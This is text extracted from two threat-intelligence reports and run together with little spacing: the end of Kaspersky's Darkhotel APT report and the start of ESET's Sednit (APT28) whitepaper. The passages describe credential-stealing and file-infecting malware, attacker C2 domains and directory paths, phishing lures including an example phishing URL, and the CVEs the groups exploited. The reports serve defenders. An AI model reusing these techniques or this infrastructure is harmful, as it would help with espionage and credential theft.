The main purpose of the module is to collect various secrets stored on a lo- cal system and upload them to Darkhotel command and control servers: Cached passwords from internet Explorer 6/7/8/9 (Windows protected Storage) Mozilla firefox stored secrets (12.0) Chrome stored secrets Gmail Notifier credentials intelliform handled data and credentials: Twitter facebook yandex Qip Nifty Mail.ru 126.com email Zapak lavabit (encrypted email service now shut down) Bigstring Gmx Sohu Zoho Sina Care2 Mail.com 17 TLP: Green For any inquiries, please contact intelreportskaspersky.com fastmail inbox Gawab (middle eastern email service) 163.com lycos lycos mail Aol login yahoo logins yahoo Japan logins Microsoft live logins Google login credentials This module is designed to terminate itself on Windows with the system de- fault codepage set to Korean.
Trojan.
Win32.Karba.e This malware is 220Kb in size.
it was built as MfC framework application with a lot of extra calls that should have complicated the analysis of the sample.
it mim- ics a GUi desktop application but it does not create any visible windows or dialogs to interact with local users.
The Trojan collects data about the system and anti- malware software installed on it, and uploads that data to Darkhotel command and control servers.
More technical details are provided in Appendix D. Trojan-Dropper  injector (infected legitimate files) This malware is 63kb in size.
it is bound to a variety of other software packages that vary in name, but the host package is consistently detected as Virus.
Win32.
pioneer.dx.
it drops the igfxext.exe selective infector component to disk and runs it.
18 TLP: Green For any inquiries, please contact intelreportskaspersky.com Selective infector This component is a virus, and is used to selectively infiltrate into other comput- ers via USB or network shares.
first, the virus retrieves all available disks and starting from disk number 4 (D:\) to disk number 20 (Z:\), finds executable files and infects them.
The code simply brute forces the list of mapped removable drives.
During its infection routine, the infector changes the entrypoint of executable files, creates an .rdat section, and inserts a small loader in the section, then puts its main payload in the overlay.
Every infected file has functionality described in Trojan Dropper  injector section, so it can collect information about the comput- er, send it to the C2 and download other Darkhotel components as commanded.
observed downloaded components are signed with a familiar expired certificate from www.esupplychain.com.tw, issued by Cybertrust SureServer CA.
Again, further technical details are provided in Appendix D. Campaign Codes Almost every backdoor in this set maintains an internal campaign code or id, used in initial c2 communications as described above.
Some iDs appear to be related to geographic interests, others do not seem obvious.
We gathered a list of Darkhotel campaign iDs shown below.
internal iDs and c2 resources overlap across these com- ponents, there is no pattern of distribution according to connectback resources.
The most common id is DEXT87: DEXT87 step2-auto dome1-auto step2-down Java5.22 CRNUl-auto dome-down M1Q84K3H NKEXV1.Q-auto NKstep2-auto pANA(AMB)-auto pANAMERA SoyA2-auto step2-down-u (UlT)Q5SSE.S-down VER1.5.1 ViCToRy WiNMV1.Q http://www.esupplychain.com.tw/ mailto:Q5SS40E.S?subject 19 TLP: Green For any inquiries, please contact intelreportskaspersky.com infrastructure and Victims This infrastructure team appears to employ a lesser skillset than top notch campaigns, maintaining weak server configurations with limited monitoring and defensive reactions, and making some simple mistakes.
However, they are ef- fective at maintaining a fully available infrastructure to support new and existing infections.
overall, victims in our sinkhole logs and KSN data were found across the globe, with the majority in Japan, Taiwan, China, Russia, Korea and Hong Kong.
Sinkhole Domains The following CC domains have been sinkholed and redirected to the Kaspersky Sinkhole Server 42world.net academyhouse.us adobeplugs.net amanity50.biz autocashhh.hostmefree.org autochecker.myftp.biz autoshop.hostmefree.org autoupdatfreeee.coolwwweb.com checkingvirusscan.com dailyissue.net dailypatch -rnr2008.net fenraw.northgeremy.info generalemountina.com goathoney.biz jpnspts.biz jpqueen.biz mechanicalcomfort.net micromacs.org ncnbroadcasting.reportinside.net neao.biz private.neao.biz reportinside.net self -makeups.com self- makingups.com sourcecodecenter.org support forum.org updatewifis.dyndns -wiki.com 20 TLP: Green For any inquiries, please contact intelreportskaspersky.com Victim locations - KSN and Sinkhole Data KSN Data our Kaspersky Security Network detected Darkhotel infections across thousands of machines, mostly related to the Darkhotel p2p campaigns.
These geolocation estimates probably provide the most accurate picture of where Darkhotel activity is occurring.
21 TLP: Green For any inquiries, please contact intelreportskaspersky.com Here is a pie chart to better visualize the proportions of attack activity throughout the world.
As you can see, over 90 of it occurs in the top five countries: Japan, followed by Taiwan, China, Russia and Korea.
22 TLP: Green For any inquiries, please contact intelreportskaspersky.com Sinkhole Data Because the operators very actively build up new command and control serv- ers, it is difficult to sinkhole enough domains to get an accurate overall picture of victim system location based on this data.
Also, many researcher systems are connected to the sinkholed domains.
However, this graph of current sinkhole callbacks presents a low confidence distribution of victim geolocation, with india, Japan, ireland, Korea, China and Taiwan in the top slots.
Removing india and ireland, the set more closely matches our KSN data.
Available ddrlog Victim Data Many of these c2s maintain a common directory path that serves a ddrlog.
The ddrlogs appear to maintain callback data that the attackers want to set aside in error logs.
Many of the callback URls have errors, many are from unwanted ip ranges, and others are clearly unwanted researcher sandbox system callbacks.
A description of the detailed connectback URl values and their xor/base64 encoding scheme is included in the interesting Malware Trojan.
Win32.Karba.e technical notes in Appendix D. The Darkhotel c2 maintain these directory structures to store and serve ddrlog content: /bin/error/ddrlog /patch/error/ddrlog 23 TLP: Green For any inquiries, please contact intelreportskaspersky.com The following structures appear to be common across servers, but do not pro- duce ddrlog and do not maintain an /error/ directory: /u2/ /u3/ /patch2/ /major/ inor/ /asp/ /update3/ Two ddrlog files report entries starting January 1, 2009 at 9:16 a.m. autozone.000space.com genuinsman.phpnet.us All of the logs maintain a significant number of entries, almost 50,000, with a simple stamp B or l. Those records are formatted in the following manner: 2009.01.01 09:16:00 150.70.xxx.xx    B 2009.01.01 09:16:33 150.70.xxx.xx    B 2009.01.01 09:14:52 220.108.x.xxx    l 2009.01.01 09:16:04 112.70.xx.xx    l only 120 ip addresses perform the B checkin, and 90 of these are from the range 150.70.97.x.
This entire range is owned by Trend Micro in Tokyo, Jp.
A handful of the remaining addresses, like 222.150.70.228, appear to come from other ranges owned by Trend Micro in Jp.
one outlier comes from an El Sal- vadoran iSp, and another is connected to a Japanese iSp.
Approximately 20,000 ip addresses perform the l checkin.
other ddrlogs may include A tags as well.
The A tag labels unwanted checkins from untargeted locations, like Hungary and italy.
The B tag labels unwanted checkins from Trend Micro ip ranges.
The l tag labels unwanted checkins from a variety of ranges, but includes odd ip like the loopback address, 127.0.0.1, clearly an error.
Entries in these logs include callback URls that have spaces and unusual charac- ters that do not conform to the required base64 character dictionary.
24 TLP: Green For any inquiries, please contact intelreportskaspersky.com C2 Communications and Structure Typical main page: for begatrendstone.com, we have the following directory structure: /bin read_i.php (main CC script) login.php (unknown, replies Wrong iD()) /bin/error (error logs stored here) ddrlog /bin/tmp /bin/SElhxxwiN3pxxiApxxc9 -all.gif /i - encrypted stolen victim system content /l /f for auto2116.phpnet.us, we have the following directory structure: /patch chkupdate.php (main command and control script) /patch/error ddrlog The group encrypts victim data on their servers with single user/passkey combi- nations across multiple victims.
When an unauthorized user attempts to access a Darkhotel web interface for victim management without the correct passkey, the html page and table layout renders properly, but all the data values on the page are returned as garbled ciphertext.
25 TLP: Green For any inquiries, please contact intelreportskaspersky.com Victim Management New victim systems appear to be systematically vetted.
The attackers maintain aweb interface to vet these new victim systems.
The attackers first and foremost list and sort victim systems according to their latest c2 check in.
Collected data probably is presented in order of importance: 1.
users logon name 2.
system CpU and oS 3.
ping sec, or how far the victim system is from the c2 4.
in, or the process that the attackers dll code executes within 5.
Vac: ?
?
6.
system lAN ip 7.
network WAN ip Here is an example of one of these web pages: 26 TLP: Green For any inquiries, please contact intelreportskaspersky.com Researcher Activity Clearly, some automated analysis activity involving researchers sandbox tools are filling up these logs.
from June 2013 to April 2014 (approximately an 11 month period), in only 15 ddrlog files, we observe almost 7,000 connections from research sandbox systems.
The network connections provide a1 through a3 values identifying a QEMU based sandbox, all sourced from only 485 WAN ip ad- dresses.
Under 30 lan ips are recorded, all in the same 172.16.2.14 126 range.
This system(s) uses a Dave user account and HoME off D5f0AC Windows system name.
These characteristics correspond with network activity generated by Gfi Soft- wares CWsandbox tools, now owned by ThreatTrack Security.
27 TLP: Green For any inquiries, please contact intelreportskaspersky.com Conclusions for the past seven years, a strong threat actor named Darkhotel, also known as Tapaoux, has carried out a number of successful attacks against a wide range of victims from around the world.
it employs methods and techniques which go well beyond typical cybercriminal behavior.
The Darkhotel crews skillset allows it to launch interesting cryptographical at- tacks, for instance factoring 512 bit RSA keys.
its use of 0-days is another indica- tor of a strong threat actor.
The targeting of top executives from various large companies around the world during their stay at certain Dark Hotels is one of the most interesting aspects of this operation.
The exact method of targeting is still unknown - for instance, why some people are targeted while others are not.
The fact that most of the time the victims are top executives indicates the attackers have knowledge of their victims whereabouts, including name and place of stay.
This paints a dark, dangerous web in which unsuspecting travelers can easily fall.
While the exact reason why some hotels function as an attacker vector are unknown, certain suspicions ex- ist, indicating possibly a much larger compromise.
We are still investigating this aspect of the operation and will publish more information in the future.
A further interesting trait is the deployment of multiple types of campaigns, both targeted and botnet.
This is becoming more and more common on the ApT scene, where targeted attacks are used to compromise high profile victims and botnet style operations are used for massive surveillance or performing other tasks such as launching DDoS attacks on hostile parties or simply upgrading victims to more sophisticated espionage tools.
We expect the Darkhotel crew to continue their activities against DiB, Govern- ment and NGo sectors.
The appendix released with this paper provides technical indicators of compromise which should help victims identify the malicious traffic and enable targets to protect themselves better against attack.
Kaspersky Lab HQ 39A/3 leningradskoe Shosse Moscow, 125212 Russian federation more contact details Tel: 7-495-797-8700 fax:  7-495-797-8709 E-mail: infokaspersky.com Website: www.kaspersky.com http://www.kaspersky.com/about/contactinfo/contacts_global_hq mailto:info40kaspersky.com?subject http://www.kaspersky.com
En Route with Part 1: Approaching the Target Version 1.0  October2016 En Route with Sednit Part 1: Approaching the Target Version 1.0  October2016 TAblE of ConTEnT Executive Summary 5 Introduction 6 TheSednitGroup 6 TheFirstPartoftheTrilogy 7 Attribution 8 PublicationStrategy 8 Who Are the Targets?
9 HowDidWeFindtheTargetList?
9 Context 9 TheOperatorsMistake 11 WhatIsintheList?
11 WhatKindofTargets?
13 Conclusion 14 Attack Methods 15 EmailAttachments 15 Sedkit:ExploitKitforTargetedAttacks 17 AttractingVisitors 17 Fingerprinting 19 DeliveringExploits 20 ConclusionandOpenQuestions 23 Seduploader: Target Confirmation 24 Identikit 24 Timeline 25 Analysis 25 DropperWorkflow 25 PayloadWorkflow 29 ConclusionandOpenQuestions 33 Closing Remarks 34 Indicators of Compromise 35 EmailAttachments 35 Sedkit 35 Seduploader 36 References 38 lIST of TAblES Table 1.
Vulnerabilitiesexploitedwithtargetedphishingattachments 13 Table 2.
ExamplesofSedkitlurenewsarticles (see IOC Section for other Sedkit domain names)  16 Table 3.
Sedkitexploitedvulnerabilities 18 Table 4.
MethodsoftheUpLoaderCclass 25 Table 5.
LocalprivilegeescalationvulnerabilitiesexploitedbySeduploader 25 Table 6.
Targetedbrowsers 28 lIST of fIguRES Figure 1.
Timelineof0-dayvulnerabilitiesexploitedbytheSednitgroupin2015 4 Figure 2.
MainattackmethodsandmalwareusedbytheSednitgroupsince2014, andhowtheyarerelated 5 Figure 3.
ExampleofphishingemailsenttoattempttostealGmailcredentials.
Thehyperlinkactuallypointstoadomainusedforphishing 8 Figure 4.
FakeGmailloginpanel.
Targetsnameandemailaddresshavebeenredacted 8 Figure 5.
NumberofURLsthatwereshortenedperdayduringthefirsttwomonths 10 Figure 6.
Numberoftimestargetswereattacked 10 Figure 7.
NumberofURLsthatwereshortenedperhouroftheday 11 Figure 8.
TargetedphishingemailsentinMay2016 14 Figure 9.
Sedkitworkflow 15 Figure 10.
ExampleofSedkittargetedphishingemailfromMarch2016 15 Figure 11.
ExampleofaSedkitreport 18 Figure 12.
SlideextractedfromaBlackHatUSA2014presentation 21 Figure 13.
SeduploaderMajorEvents 23 Figure 14.
Seduploadersdropperworkflow 23 Figure 15.
Anti-analysistrickpseudocode 24 Figure 16.
Seduploaderspayloadworkflow 27 Figure 17.
Workflowofthenetworklinkestablishment 27 En Route with Sednit 5 ExECuTIvE SuMMARy TheSednitgroupalsoknownasAPT28,FancyBearandSofacyisagroupofattackers operatingsince2004ifnotearlierandwhosemainobjectiveistostealconfidentialinformation fromspecifictargets.
ThisisthefirstpartofourwhitepaperEnRoutewithSednit,whichcoverstheSednitsgroup activitiessince2014.Here,wefocusonthemethodsusedbythegrouptoattackitstargets, andonwhothesetargetsare.
Thekeypointsdescribedinthisfirstinstallmentarethefollowing: DuringtheSednitphishingcampaignsmorethan1,000high-profileindividualsinvolved inEasternEuropeanpoliticswereattacked,includingsomeUkrainianleaders,NATOofficials, andRussianpoliticaldissidents TheSednitoperatorslaunchedtheirphishingattacksonweekdays,andattimes correspondingtoofficehoursinthetimezoneUTC3 TheSednitgroupdevelopeditsownexploitkitafirstforanespionagegroupdeploying asurprisinglyhighnumberof0-dayexploits TheSednitgroupdevelopedparticularfirst-stagemalwareinordertobypassnetwork securitymeasuresimplementedbycompromisedorganizations Foranyinquiriesrelatedtothiswhitepaper,contactusat:threatinteleset.com mailto:threatintel40eset.com?subjectSednit20whitepaper En Route with Sednit 6 InTRoduCTIon The Sednit Group TheSednitgroupvariouslyalsoknownasAPT28,FancyBear,Sofacy,PawnStorm,STRONTIUM andTsarTeamisagroupofattackersoperatingsince2004ifnotearlier,whosemainobjective istostealconfidentialinformationfromspecifictargets.
Overthepasttwoyears,thisgroupsactivity hasincreasedsignificantly,withnumerousattacksagainstgovernmentdepartmentsandembassies allovertheworld.
AmongtheirmostnotablepresumedtargetsaretheAmericanDemocraticNationalCommittee[1], theGermanparliament[2]andtheFrenchtelevisionnetworkTV5Monde [3].Moreover,theSednit grouphasaspecialinterestinEasternEurope,whereitregularlytargetsindividualsandorganizations involvedingeopolitics.
OneofthestrikingcharacteristicsoftheSednitgroupisitsabilitytocomeupwithbrand-new0-day[4] vulnerabilitiesregularly.
In2015,thegroupexploitednofewerthansix0-dayvulnerabilities,asshown in Figure 1.
Figure 1.
Timeline of 0-day vulnerabilities exploited by the Sednit group in 2015 Thishighnumberof0-dayexploitssuggestssignificantresourcesavailabletotheSednitgroup,either becausethegroupmembershavetheskillsandtimetofindandweaponizethesevulnerabilities, orbecausetheyhavethebudgettopurchasetheexploits.
Also,overtheyearstheSednitgrouphasdevelopedalargesoftwareecosystemtoperform itsespionageactivities.
Thediversityofthisecosystemisquiteremarkableitincludesdozens ofcustomprograms,withmanyofthembeingtechnicallyadvanced,liketheXagentandSedreco modularbackdoors(describedinthesecondpartofthiswhitepaper),ortheDowndelphbootkit androotkit(describedinthethirdpartofthiswhitepaper).
WepresenttheresultsofESETstwo-yearpursuitoftheSednitgroup,duringwhichweuncovered andanalyzedmanyoftheiroperations.
Wesplitourpublicationintothreeindependentparts: 1.
Part 1: Approaching the TargetdescribesthekindsoftargetstheSednitgroupisafter, andthemethodsusedtoattackthem.
Italsocontainsadetailedanalysisofthegroups most-usedreconnaissancemalware.
2.
Part 2: Observing the Comings and Goingsdescribestheespionagetoolkitdeployed onsometargetcomputers,plusacustomnetworktoolusedtopivotwithin thecompromisedorganizations.
3.
Part 3: A Mysterious DownloaderdescribesasurprisingoperationrunbytheSednitgroup, duringwhichalightweightDelphidownloaderwasdeployedwithadvancedpersistence methods,includingbothabootkitandarootkit.
Eachofthesepartscomeswiththerelatedindicatorsofcompromise.
CVE-2015-2424 Oce RCE CVE-2015-3043 Flash CVE-2015-1701 Windows LPE CVE-2015-2590 Java CVE-2015-4902 Java click-to-play bypass CVE-2015-7645 Flash APR MAY JUN JUL AUG SEP OCT En Route with Sednit 7 The First Part of the Trilogy Figure 2showsthemaincomponentsthattheSednitgrouphasusedoverthelasttwoyears, withtheirinterrelationships.
Itshouldnotbeconsideredasacompleterepresentationoftheirarsenal, whichalsoincludesnumeroussmallcustomtools.
Figure 2.
Main attack methods and malware used by the Sednit group since 2014, and how they are related WedivideSednitssoftwareintothreecategories:thefirst-stagesoftwareservesforreconnaissance ofanewlycompromisedhost,thencomesthesecond-stagesoftwareintendedtospyonmachines deemedinteresting,whilethepivotsoftwarefinallyallowstheoperatorstoreachothercomputers.
In this first part,wefocusonSednitsattackmethods.
Indeed,havingreliablemethods tocompromisethecomputersoftheintendedtargetswithspyingmalwareisoneofthemost importantpartsofacyberespionageoperation.
ThecomponentsonwhichwefocusinthisfirstpartareoutlinedinFigure 2,whichincludes theattackmethodsemployedandthefirst-stagemalwarewecallSeduploader,composed ofadropperanditsassociatedpayload.
AllthecomponentsshowninFigure 2aredescribedinthiswhitepaper, withtheexceptionofusbstealer,atooltoexfiltratedatafromair-gapped machinesthatwehavealreadydescribedatWeLiveSecurity[5].Recent versionshavebeendocumentedbyKasperskyLabs[6]aswell.
FIRST-STAGE MALWARE ATTACK METHODS SECOND-STAGE MALWARE PIVOT MALWARE Fake webmail login panels Sedkit Seduploader dropper Seduploader payload Downdelph Usbstealer Xtunnel Xagent Email attachments Sedreco dropper Sedreco payload En Route with Sednit Part 1 En Route with Sednit Part 2 En Route with Sednit Part 3 En Route with Sednit 8 Attribution Onemightexpectthisreferencewhitepapertoaddnewinformationaboutattribution.
Alothas beensaidtolinktheSednitgrouptosomeRussianentities[7],andwedonotintendtoaddanything tothisdiscussion.
Performingattributioninaserious,scientificmannerisahardproblemthatisoutofscope ofESETsmission.
Assecurityresearchers,whatwecalltheSednitgroupismerelyasetofsoftware andtherelatednetworkinfrastructure,whichwecanhardlycorrelatewithanyspecificorganization.
Nevertheless,ourintensiveinvestigationoftheSednitgrouphasallowedustocollectnumerous indicatorsofthelanguagespokenbyitsdevelopersandoperators,aswellastheirareasofinterest, aswewillexplaininthiswhitepaper.
Publication Strategy Beforeenteringthecorecontentofthiswhitepaper,wewouldliketodiscussourpublicationstrategy.
Indeed,assecurityresearchers,twoquestionswealwaysfinddifficulttoanswerwhenwewrite aboutanespionagegrouparewhen to publish?,andhow to make our publication useful to those tasked with defending against such attacks?.
TherewereseveraldetailedreportsontheSednitgrouppublishedin2014,liketheOperation PawnStormreportfromTrendMicro[8]andtheAPT28reportfromFireEye[9].Butsincethen thepublicinformationregardingthisgroupmainlycameintheformofblogpostsdescribingspecific componentsorattacks.
Inotherwords,nopublicattemptshavebeenmadetopresentthebig pictureontheSednitgroupsince2014.
Meanwhile,theSednitgroupsactivitysignificantlyincreased,anditsarsenaldiffersfrom thosedescribedinpreviouswhitepapers.
Therefore,ourintentionhereistoprovideadetailedpictureoftheSednitgroupsactivitiesover thepasttwoyears.
Ofcourse,wehaveonlypartialvisibilityintothoseactivities,butwebelieve thatwepossessenoughinformationtodrawarepresentativepicture,whichshouldinparticular helpdefenderstohandleSednitcompromises.
Wetriedtofollowafewprinciplesinordertomakeourwhitepaperusefultothevarioustypes ofreaders: Keep it readable:whileweprovidedetailedtechnicaldescriptions,wehavetriedtomake themreadable,withoutsacrificingprecision.
Thisisthereasonwedecidedtosplitourwhitepaper intothreeindependentparts,inordertomakesuchalargeamountofinformationeasily digestible.
Wealsohaverefrainedfrommixingindicatorsofcompromisewiththetext.
Help the defenders:weprovideindicatorsofcompromise(IOC)tohelpdetectcurrentSednit infections,andwegroupthemintheIOCsectionandonESETsGitHubaccount[10].Hence, thereaderinterestedonlyintheseIOCcanactdirectly,andfindmorecontext inthewhitepaperafterwards.
Reference previous work:ahighprofilegroupsuchasSednitistrackedbynumerous entities.
Aswithanyresearchwork,ourinvestigationstandsontheshouldersoftheprevious publications.
Wehavereferencedthemappropriately,tothebestofourknowledge.
Document also what we do not understand:westillhavenumerousopenquestions regardingSednit,andwehighlighttheminourtext.
Wehopethiswillencouragefellow malwareresearcherstohelpcompletethepuzzle.
Wedidourbesttofollowtheseprinciples,buttheremaybecaseswherewemissedouraim.
Weencouragereaderstoprovidefeedbackatthreatinteleset.com,andwewillupdate thewhitepaperaccordingly.
mailto:threatintel40eset.com?subject En Route with Sednit 9 Who ARE ThE TARgETS?
InordertosetthescenefortheSednitgroup,wewillfirsttakealookatwhotheirtargetsare.
Indeed,knowingthetargetsofsuchagroupallowsustogetsomeideaoftheirmotivations, theirlevelofsophistication,andtheintereststheyserve.
Inanumberofpublicizedcaseshigh-profileentitieshavesupposedlybeenattackedbytheSednit group,suchas: TheAmericanDemocraticNationalCommittee,inMay2016[1] TheGermanparliament,inMay2015[2] TheFrenchtelevisionnetworkTV5Monde,inApril2015[3] Suchhigh-profilecasesallowustodrawaninitialconclusion:theSednitgroupsobjectives areconnectedtointernationalgeopolitics,andthegroupisdefinitelynotafraidoftargeting majorentities.
Tocontinuethisreasoninginmoredepth,wewilldescribeinthenextsections alistoftargetsforaphishingoperationrunbytheSednitgroupin2015.
How Did We Find the Target List?
Context OneofthecommonattackmethodsusedbytheSednitgroupseeFigure2isspearphishing (sendingtargetedphishingemails)tostealwebmailaccountcredentials.
Todoso,thegroup createsfakeloginpagesforvariouswebmailservices,andluresthetargetsintovisitingthefake pageandenteringtheircredentials.
ThisattackmethodwasinitiallydocumentedbyTrendMicro[8] andPwC[11].
En Route with Sednit 10 Forexample,Figure 3showsaSednitphishingemailtargetingGmailusers.
Figure 3.
Example of phishing email sent to attempt to steal Gmail credentials.
The hyperlink actually points to a domain used for phishing ThelinkinthisemailpointsinrealitytoaSednitdomainname.
Ifpotentialvictimsclickonit, theywillberedirectedtoafakeGmailloginpanel,asshowninFigure 4.Hence,theywillgetthe impressionthattheyhavetologinagaininordertoaccessthedocumentmentionedintheemail.
ThosewhofallpreybyenteringtheircredentialswillberedirectedtothelegitimateGoogleDrive webpage,whiletheircredentialswillbecollectedbySednit.
Figure 4.
Fake Gmail login panel.
Targets name and email address have been redacted En Route with Sednit 11 Animportantpointhereisthatthefakeloginpaneldisplaysthetargetsnamesandemailaddresses, toreinforcetheillusiontheyhavebeenloggedoutfromtheirrealGmailaccounts.
ThefakewebmailloginpanelsdeployedbySednitareusuallyjustacopy oftherealloginpanelsource.
The Operators Mistake Duringoneofthesephishingcampaignsagainstwebmailusers,theoperatorsusedBitly[12] toshorten theURLscontainedintheemails.
Todoso,theycreatedafewaccountsonBitly,andusedeach ofthemtoshortenmultiplephishingURLs.
Luckilyenoughforus,oneofthoseBitlyaccountswas setaspublic,whichallowseveryonetoseethelistofURLsthatwereshortenedbythisaccount, withtheexacttimeatwhichtheywereshortened.
ThepublicprofilefeaturehasbeenremovedfromBitly[13],andhencethelist isnolongeravailable.
Interestingly,eachURLthatwasshortenedcontainedtheemailaddressandthenameofthetarget.
HavingthisinformationintheURLallowedthefakeloginpaneltodisplaythemeasily,asshown in Figure4,ratherthanrequiringaninstanceoftheloginpanelforeachtarget.
Anexample ofaURLthatwasshortenedisshownbelow: Here,thecontinueparametercontainsparepkyivgmail.comencodedinbase64,while thedfparametercontainsPakistanEmbassyKyiv.
Therefore,itispossibletoidentifythetarget preciselyfromaURLthatwasshortened,inthiscasethePakistanEmbassyinKiev.
What Is in the List?
Thelistcontainsaround4,400URLsthatwereshortenedbetween16thofMarch2015and14th ofSeptember2015.AssumingthatthetimeatwhichaURLwasshortenedcorrespondsroughly tothemomentwhenthecorrespondingphishingemailwassent,itallowsustocreatearelatively accuratetimelineoftheeventsrelatedtothesephishingattacks.
http://login.accoounts-google.com/ url/?continuecGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0YW4rRW1iYXNzeStLeWl2tel1 En Route with Sednit 12 First,thenumberofURLsthatwereshortenedperdayisshowedinFigure 5forthefirst (andmostactive)twomonthsoftheaccountsactivity.
Figure 5.
Number of URLs that were shortened per day during the first two months TherewereregularpeaksinthenumberofURLsthatwereshortened,usuallyMondayorFriday, probablycorrespondingtothelaunchofnewphishingcampaigns.
Also,thereisalmostnoactivity duringtheweekendsindicatingthattheoperatorsarelikelytoworkonlyonweekdays.
Secondly,thesametargetmayappearinseveralURLs,probablycorrespondingtorepeatedphishing attempts.
Thelistcontains1,888uniquetargetemailaddresses,mostofthembeingGmailaddresses.
Figure 6showsthenumberoftimesthetargetswereattacked.
Figure 6.
Number of times targets were attacked Morethanhalfofthetargetswereattackedonlyonce,andinmostofthesecasesthecorresponding shortenedURLwasclickedatleastonce,accordingtotheBitlystatistics.
Ontheotherhand, theotherstargetshavebeenattackedseveraltimesduringthesixmonthsofdata,withamaximum ofsevenattemptsagainstnineofthem.
MostofthecorrespondingshortenedURLswerenotvisited.
Inotherwords,thetargetsareregularlyattackeduntilanattempttophishsucceeds,andformore thanhalfofthetargetsoneattemptwasenough.
ThenumberofclicksonaBitly-shortenedURLispubliclyavailable, byappendingatotheshortenedURL,withthecountriesfromwhichthose clicksoriginated.
Nevertheless,onecannotknowwhether ashortenedURLwasvisitedbytheintendedtarget,orsomeoneelse.
3/ 16 /2 0 15 3/ 17 /2 0 15 3/ 18 /2 0 15 3/ 19 /2 0 15 3/ 20 /2 0 15 3/ 21 /2 0 15 3/ 22 /2 0 15 3/ 23 /2 0 15 3/ 24 /2 0 15 3/ 25 /2 0 15 3/ 26 /2 0 15 3/ 27 /2 0 15 3/ 28 /2 0 15 3/ 29 /2 0 15 3/ 30 /2 0 15 3/ 31 /2 0 15 4/ 1/ 20 15 4/ 2/ 20 15 4/ 3/ 20 15 4/ 4/ 20 15 4/ 5/ 20 15 4/ 6/ 20 15 4/ 7/ 20 15 4/ 8/ 20 15 4/ 9/ 20 15 4/ 10 /2 0 15 4/ 11 /2 0 15 4/ 12 /2 0 15 4/ 13 /2 0 15 4/ 14 /2 0 15 4/ 15 /2 0 15 4/ 16 /2 0 15 4/ 17 /2 0 15 4/ 18 /2 0 15 4/ 19 /2 0 15 4/ 20 /2 0 15 4/ 21 /2 0 15 4/ 22 /2 0 15 4/ 23 /2 0 15 4/ 24 /2 0 15 4/ 25 /2 0 15 4/ 26 /2 0 15 4/ 27 /2 0 15 4/ 28 /2 0 15 4/ 29 /2 0 15 4/ 30 /2 0 15 4/ 31 /2 0 15 800 600 400 200 0 Weekends Number of phishing attempts N u m b er o f ta rg et s 1000 800 600 400 200 0 1 2 3 4 5 76 En Route with Sednit 13 Finally,sinceweknowtheexacttimewhenaURLwasshortened,wecandisplaythehour ofthedaywhenithappened,asshowninFigure 7.
Figure 7.
Number of URLs that were shortened per hour of the day Interestingly,thedistributionofthehoursmatchestheworkinghoursfrom9AMto5PMinthe UTC3timezone,withsometimessomeactivityintheevening.
Thismayindicatethattheoperators workfromthistimezone[14].
What Kind of Targets?
AsthelistcontainsmostlyGmailaddresses,themajorityofthetargetedemailsbelongtoindividuals.
Nevertheless,thefollowingorganizationsalsohaveGmailaddressesthatweretargeted: EmbassiesbelongingtoAlgeria,Brazil,Colombia,Djibouti,India,Iraq,NorthKorea, Kyrgyzstan,Lebanon,Myanmar,Pakistan,SouthAfrica,Turkmenistan,UnitedArabEmirates, UzbekistanandZambia MinistriesofDefenseinArgentina,Bangladesh,SouthKorea,TurkeyandUkraine Regardingtheindividualstargeted,hereareafewoftheirpositionsthataretypicalofthelist: PoliticalleadersandheadsofpoliceofUkraine MembersofNATOinstitutions MembersofthePeoplesFreedomParty,aRussianliberaldemocraticpoliticalparty[15] Russianpoliticaldissidents ShaltayBoltai,ananonymousRussiangroupknowntoreleaseprivateemailsofRussian politicians[16] JournalistslocatedinEasternEurope AcademicsvisitingRussianuniversities Chechenorganizations Overall,mostofthetargetswecouldidentifyarerelatedbythefactthattheyallsharethesame standpointinthecurrentpoliticalsituationinEasternEurope.
WhilethislistonlyprovidesapartialviewoftheSednitgroupstargets,anotherlistwasanalyzed byTrendMicro,withsimilarfindings[17].
N u m be r o f U R Ls t h at w er e sh o rt en ed Hour of day (UTC) 800 700 600 500 400 300 200 100 0 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 En Route with Sednit 14 Conclusion TheSednitgrouptargetsalotofindividualsandorganizations,withaparticularfocusonEastern Europe,asshownbyouranalysisofoneoftheirphishingtargetslists.
Moreover,theSednitoperatorslaunchedtheirphishingattacksonweekdays,andattimes correspondingtoofficehoursinthetimezoneUTC3.
En Route with Sednit 15 ATTACk METhodS Inthissection,wewilldescribethetwomainattackmethodsusedbytheSednitgrouptodeploy itsmalicioussoftware.
Wealreadydiscussedthethirdattackmethodfakewebmaillogin panelsintheprevioussection.
Thefirstmethodistolurethetargetintoopeninganemailattachment,whilethesecondonerelies onthetargetvisitingawebsitecontainingacustomexploitkit.
Inbothcases,thelureitselfisusually aphishingemail.
Email Attachments Aswithmanyothercyberespionageactors,sendingtargetedphishingemailswithmalicious attachmentsisoneofthemainattackvectorsoftheSednitgroup.
Sometimesthoseattachments aresimplyexecutables,andnoexploitsareused.
Itis,forexample,thecaseforthemostrecent deploymentofDowndelph,aprettysurprisingoperationthatwewilldescribeinthethirdpart ofthiswhitepaper.
Ontheotherhand,theSednitgroupalsousesexploits,andinsomecaseseven0-dayexploits, withitsemailattachments.
Thelistofvulnerabilitiesexploitedwiththisattackmethodisdescribed in Table 1,tothebestofourknowledge.
Table 1.
Vulnerabilities exploited with targeted phishing attachments ID Targeted Application Notes Reference CVE-2009-3129 [18] MicrosoftExcel CVE-2010-3333 [19] MicrosoftOffice CVE-2012-0158 [20] MicrosoftOffice CVE-2013-2729 [21] AdobeAcrobatReader CVE-2014-1761 [22] MicrosoftWord 0-dayatthetime theSednitgroupusedit [23] CVE-2015-1641 [24] MicrosoftWord [25] CVE-2015-2424 [26] MicrosoftOffice 0-dayatthetime theSednitgroupusedit [27] CVE-2016-4117 [78] AdobeFlashPlayer [77] ThemalwareusuallydroppedbythoseexploitsforthelasttwoyearshasbeenSeduploaders payload,asshowninFigure2.
En Route with Sednit 16 Toillustratethis(wellknown)attackmethod,wearenowgoingtobrieflydescribeoneparticular recentphishingcampaignwithemailattachmentsfromtheSednitgroup.
Theemailinquestionwas senttotargetslocatedinUkraineinMay2016,andispicturedinFigure 8.
Figure 8.
Targeted phishing email sent in May 2016 ThesubjectoftheemailcanbetranslatedtoTheaggravationofRussian-EUrelations,while thebodyroughlytranslatesto: TheaddressoftheUkrainianAcademicUnionisthecorrectone[28],whilethesenderemailaddress wascreatedbytheattackersusingafreemailprovider.
